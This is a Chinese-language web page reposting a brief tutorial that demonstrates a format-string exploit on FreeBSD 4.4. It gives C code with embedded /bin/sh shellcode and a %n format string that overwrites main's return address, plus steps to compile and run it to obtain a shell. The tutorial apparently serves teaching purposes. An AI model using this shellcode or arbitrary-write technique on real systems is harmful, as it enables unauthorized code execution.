FreeBSD格式化字符串简单演示-电脑优化
·当前位置: 学海荡舟-论文 >> 电脑技术 >> 实用技术 >> 电脑优化
FreeBSD格式化字符串简单演示



/* simple example for printf ex on FreeBSD */
#include<stdio.h>
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
  long p[1];
  char buff[76];
  addr = (long ) &p[2];
  sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
  %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
  printf(buff);//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}

这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . ..
gcc printfex.c -o ex
./ex >/dev/null#为了防止打印太多东西从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.

//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
  __ by watercloud __

  • 上一篇教程:
  • 下一篇教程:
  • :查看相关:
  • RegCleaner3.4帮你清理注册表
  • Win XP注册表还原简单一法
  • 避免受虚假Web站点欺骗的步骤
  • 局域网上ICQ:ICQ Groupware
  • 局域网也能I SEEK YOU